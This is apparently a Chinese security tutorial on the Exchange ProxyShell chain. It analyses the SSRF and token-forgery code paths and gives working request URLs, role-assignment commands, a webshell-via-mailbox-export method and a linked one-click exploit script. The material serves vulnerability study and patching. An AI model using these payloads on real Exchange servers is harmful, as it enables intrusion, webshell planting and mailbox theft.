Exchange ProxyShell攻击链技术
概念&原理
本攻击链包含三个漏洞:
- CVE-2021-34473:预认证路径混淆导致ACL绕过造成的SSRF漏洞,2021年4月微软已经发布安全补丁更新。
- CVE-2021-34523:Exchange PowerShell 后端的提权漏洞,2021年4月份微软已经发布安全补丁更新。
- CVE-2021-31027:利用任意文件写入漏洞导致远程代码执行漏洞,2021年5月份微软已经发布安全补丁更新。
漏洞原理
整个ProxyShell攻击链的流程如下:
- 利用SSRF漏洞以管理员身份认证PowerShell接口
- 通过PowerShell接口将用户加入Mailbox Import Export角色组
- 向目标用户发送恶意构造的邮件
- 使用New-MailboxExportRequest功能导出邮件保存为.aspx文件
- 通过.aspx文件获取Exchange服务器最高权限
CVE-2021-34473预认证路径混淆漏洞
该漏洞是Exchange邮箱服务器对路径的不准确过滤导致路径混淆而产生的SSRF漏洞,与ProxyLogon攻击链中的SSRF漏洞类似。
显示登录是Exchange邮箱服务器中的一个特殊功能,用于浏览器使用一个URL嵌入或显示特定用户的邮箱或日历。要实现该功能,此URL必须很简单,并包含要显示的邮箱地址。示例如下:
https://exchange/OWA/hack@hack.com/Default.aspx
在某些处理程序中,如 EwsAutodiscnerProxyRequestHandler 接口中,可以通过查询字符串来指定邮箱地址。因为Exchange服务器没有对邮箱地址进行足够的检查,所以可以在URL规范化期间通过对URL中的查询字符串进行修改,以访问任意的URL,造成SSRF漏洞。
如下是 HttpProxy/EwsAutodiscoverProxyRequestHandler.cs 的部分代码:
protected override AnchorMailbox ResolveAnchorMailbox() {
if (this.skipTargetBackEndCalculation) {
base.Logger.Set(3, "OrgRelationship-Anonymous");
return new AnonymousAnchorMailbox(this);
}
if (base.UseRoutingHintForAnchorMailbox) {
string text;
if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) {
text = base.ClientRequest.Params["Email"];
} else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) {
int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/');
text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1);
} else {
text = this.TryGetExplicitLogonNode(0);
}
string text2;
if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2))
{
this.isExplicitLogonRequest = true;
this.explicitLogonAddress = text;
//...
}
}
return base.ResolveAnchorMailbox();
}
protected override UriBuilder GetClientUrlForProxy() {
string absoluteUri = base.ClientRequest.Url.AbsoluteUri;
string uri = absoluteUri;
if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri))
{
uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress);
}
return new UriBuilder(uri);
}
从上面的代码中可以看到,如果URL通过了对 IsAutodiscoverV2PreviewRequest 函数的检查,则可以通过查询字符串的Email参数来指定显示登录的地址。这很容易实现,因为这个函数只执行了对URL后缀的简单验证。
如下是 IsAutodiscoverV2PreviewRequest 函数的代码,可以看到其只检查了URL的后缀部分:
public static bool IsAutodiscoverV2PreviewRequest(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);
}
public static bool IsAutodiscoverV2Request(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path);
}
然后显示登录地址将作为参数传递给 RemoveExplicitLogonFromUrlAbsoluteUri 方法,并且该方法只是用子字符串来删除指定的模式。
如下是RemoveExplicitLogonFromUrlAbsoluteUri的函数的代码:
public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) {
ArgumentValidator.ThrowIfNull("absoluteUri", absoluteUri);
ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
string text = "/" + explicitLogonAddress;
int num = absoluteUri.IndexOf(text);
if (num != -1) {
return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length);
}
return absoluteUri;
}
综上所述,可以构造如下的URL来滥用显示登录URL规范化的过程:
https://exchange/autodiscover/autodiscover.json?@foo.com/path?&Email=autodiscover/autodiscover.json%3f@foo.com
而经过URL规范化后实际效果如下:
https://exchange:444/path
这种错误的URL规范化使得可以在作为Exchange邮箱服务器机器账户运行时访问任意的后端URL。虽然这个错误的危害没有ProxyLogon中的SSRF漏洞那么大,而且只能操纵URL的路径部分,但它仍然足够使得安全研究员可以使用任意的后端进行进一步的攻击。
首先直接访问exchange的/mapi/nspi会出现认证页面,让用户输入账号密码:

列如,构造如下的URL,通过SSRF以System权限访问/mapi/nspi/接口。
https://192.168.41.50/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com
如图所示,可以看到页面返回的当前用户为NT AUTHORITY\SYSTEM:

Exchange PowerShell接口利用
自Exchange 2010起,其邮箱服务器支持基于PowerShell API构建、使用隔离运行空间空间且依托WinRM协议实现的PowerShell远程管理,运维人员无需在本机安装Exchange管理工具即可操作。
远程连接Exchange PowerShell接口并导出邮件
在域内其他机器上,执行如下的命令,远程连接Exchange PowerShell接口。
# 输入账户和密码
$UserCredential = Get-Credential
# 建立远程连接Exchange PowerShell接口的Session,注意这里必须填写Exchange的FQDN名称
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://exchange.hack.com/powershell/ -Authentication Kerberos -Credential $UserCredential
# 导入该Session,之后Exchange cmdlet将导入到本地PowerShell会话,此时会显示一个进度条以便于追踪。如果未收到任何错误,说明连接成功。
Import-PSSession $Session -DisableNameChecking
# 查看是否连接成功,可以执行如下的命令查看邮箱
Get-Mailbox
# 断开连接
Remove-PSSession $Session
如图所示,可以看到连接Exchange PowerShell 接口成功。

以用户administrator身份发送一封邮件到用户test的邮箱,此时用户test收到了用户administrator发过来的邮件,如图所示:

使用PowerShell Remoting 导出用户test的邮件到指定路径。但是默认情况下,New-MailboxExportRequest 功能仅在Mailbox Import Export 角色中可用。要使用此命令,可以将指定用户添加到 MailboxImport Export 角色中,执行如下的命令将用户administrator添加到 Mailbox Import Export 角色中。
# 将用户administrator添加到Mailbox Import Export角色中
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User administrator
# 查询Mailbox Import Export角色分配给了哪些用户
Get-ManagementRoleAssignment -Role "Mailbox Import Export"
# 将用户administrator移除Mailbox Import Export角色
Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-administrator" -Confirm:$false

之后就可以使用New-MailboxExportRequest命令将用户test的邮件导出到指定路径了,命令如下:
New-MailboxExportRequest -Mailbox -test@hack.com -FilePath \\127.0.0.1\C$\1.aspx
如图所示,在Exchange邮箱服务器的C盘根目录下即可看到刚刚导出的邮件文件1.aspx:

导出文件默认后缀为.pst,且内容被加密;强制改后缀为aspx后,内容仍为加密状态,无法作为Webshell连接;但由于.pst文件采用类似异或的加密方式,密文经一次加密可变为明文;所以可先对Webshell加密,发送给指定用户,然后导出邮件时内容会再加密一次(异或一次),最终变为明文。
通过SSRF认证到PowerShell接口
在利用CVE-2021-34473的SSRF漏洞远程管理Exchange服务器时,需要以管理员身份认证到PowerShell接口(该操作要求使用管理员账户),而该接口的\Configuration\RemotePowershellBackendCmdletProxyModule.cs中OnAuthenticateRequest函数支持X-ConnonAcessToken认证方式,不过这种认证方式默认从HTTP Headers获取,因此无法被上述SSRF漏洞利用。
如下是OnAuthenticateRequest函数的代码:
private void OnAuthenticateRequest(object source, EventArgs args) {
HttpContext httpContext = HttpContext.Current;
if (httpContext.Request.IsAuthenticated) {
if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) {
Uri url = httpContext.Request.Url;
Exception ex = null;
CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext.
User.Identity.ToString(), url, out ex);
}
}
}
但在另一个关键函数 CommonAccessTokenFromUrl 中,Common-AccessToken通过get请求的参数 X-Rps-CAT 传入,这样就能被SSRF漏洞所利用了。
如下是 CommonAccessTokenFromUrl 函数的代码:
private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) {
ex = null;
CommonAccessToken result = null;
string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT");
if (!string.IsNullOrWhiteSpace(text)) {
try {
result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text));
} catch (Exception ex2) {
// handle exception here
}
}
return result;
}
因序列化数据结构简单,仅需用户SID即可通过CommonAccessToken模拟对应权限,所以可以利用SSRF漏洞从System权限降为administrator权限,获取其SID,模拟出administrator权限的CommonAccessToken,以此身份认证至PowerShell接口。
漏洞影响版本
- Microsoft Exchange Server 2019 Cumulative Update 9
- Microsoft Exchange Server 2019 Cumulative Update 8
- Microsoft Exchange Server 2016 Cumulative Update 20
- Microsoft Exchange Server 2016 Cumulative Update 19
- Microsoft Exchange Server 2013 Cumulative Update 23
漏洞复现
实验环境如下:
- Exchange Server 2019:192.168.41.40
一键化脚本攻击
脚本下载地址:https://github.com/Udyz/proxyshell-auto
使用一键化攻击脚本proxyshell.py执行如下的命令即可:
python3 proxyshell.py -t <target_exchange_URL>
手工验证
步骤一:SSRF漏洞验证
GET /autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com HTTP/1.1
Host: exchange.target.com
验证要点:
- 响应是否包含
NT AUTHORITY\SYSTEM- 检查
X-DiagInfo和X-BEServer响应头- 状态码应为200(无需认证)
步骤二:PowerShell接口认证
GET /autodiscover/autodiscover.json?@foo.com/powershell?X-Rps-CAT=<token> HTTP/1.1
Host: exchange.target.com
验证要点:
- 响应是否包含
X-PowerShell-Version头- 检查是否有
Set-Cookie: powershell会话- 尝试执行简单命令:
command=Get-Mailbox
步骤三:权限操作验证
# 通过认证会话执行
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User testuser
Get-ManagementRoleAssignment | Where {$_.RoleName -like "*Import*"}
验证要点:
- 是否成功添加角色
- 是否返回操作成功提示
漏洞防御
微软已发布漏洞补丁,更新安装补丁即可。

浙公网安备 33010602011771号